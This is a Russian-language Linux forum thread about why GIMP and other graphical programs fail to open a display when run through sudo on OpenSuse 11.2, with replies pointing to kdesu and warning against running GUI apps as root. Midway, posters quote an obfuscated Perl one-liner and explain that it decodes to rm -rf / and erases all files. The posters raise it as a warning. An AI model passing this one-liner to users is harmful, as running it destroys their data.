LinuxForum.Fans
Тема

Запуск приложений через sudo

Автор: IgorS 12 сообщений 5874 просмотров
#38515

OpenSuse 11.2. Необходимо запустить gimp от root. В ясте создаю правило. из консоли выполняю sudo gimp. Вылазит сообщение: Не удалось открыть дисплей: и ничего не запускается.... В какую сторону копать?

#38516

Если KDE, жми Alt-F2, вводи

text

kdesu gimp

А зачем тебе gimp из под рута? Моей фантазии не хватает, чтобы придумать причину.

#38518

Так работает, но просит пароль рута. Надо без пароля и из под gnome

#38520

IgorS, взачем от root запускать данное приложение? oO

#38522

Ладно, поставим вопрос по другому :). Любое не консольное приложение не запускается через sudo. Ошибка та же: Не удалось открыть дисплей

#38525

судо надо сконфигурировать smile



ошибся малость :((

#38535

Не помогает. То же сообщение. Может еще какие идеи есть?

#38543
IgorS написал:
Не помогает. То же сообщение. Может еще какие идеи есть?

да идей море... там просто защита стоит - НИКТО не имеет права доступа к иксам. Даже рут. Это по умолчанию. Однако, вы можете это поменять, я сделал так: http://drbatty.ath.cx/forum/viewtopic.php?p=10000#10000
Вот только... ИМХО делать такое для руто - самоубийство. Впрочем каждый ССЗБ, я вас предупредил.

renegat написал:
судо надо сконфигурировать будет запускаться

хороший ход. может просто всегда работать под рутом? таких как вы, в начале века расстреливали на LOR'е. Одностроком на перле. Ссылку дать? К тому-же, у вас ошибочка - NOPASSWORD надо в Yes ставить, ведь нужно без пароля. И ещё ошибка - права рута вы дадите, но кто вам сказал, что рут имеет доступ к иксам? Он про них даже и не знает:

text
# echo $DISPLAY
# а в ответ - тишина, если от рута
#38554
drBatty написал:

хороший ход. может просто всегда работать под рутом? таких как вы, в начале века расстреливали на LOR'е. Одностроком на перле. Ссылку дать?

Знаю ... :( правда не пробоваль. согласен ашипко.

drBatty, ето? perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

#38562
IgorS написал:
OpenSuse 11.2. Необходимо запустить gimp от root. В ясте создаю правило. из консоли выполняю sudo gimp. Вылазит сообщение: Не удалось открыть дисплей: и ничего не запускается.... В какую сторону копать?

В сторону kdesu.

#38564
renegat написал:
Знаю ... sad правда не пробоваль. согласен ашипко.

drBatty, ето? perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

и не пробуйте. будучи запущенным этот однострок сотрёт все данные юзера, что обычно намного печальнее, чем какая-то дурацкая ОС.
ну а если перед командой поставить ваше sudo, то будет стёрто вообще ВСЁ.

ЗЫЖ принцип работы этой фиговины предельно прост: команда y в перловке переделывает символы, в данном случае, всякие -/:-@[-`{-} преобразуются в команду rm -rf /, которая удаляет все файлы во всех каталогах.

CyberDaemon написал:
В сторону kdesu.

угу. есть такая... есть и для гнома. можно и без неё... в Linux вообще есть 1001 способ угробить систему :)

#38571
drBatty написал:

ну а если перед командой поставить ваше sudo, то будет стёрто вообще ВСЁ.

ЗЫЖ принцип работы этой фиговины предельно прост: команда y в перловке переделывает символы, в данном случае, всякие -/:-@[-`{-} преобразуются в команду rm -rf /, которая удаляет все файлы во всех каталогах.

знаю :( народ экспериментировал :[

Войдите или зарегистрируйтесь, чтобы ответить.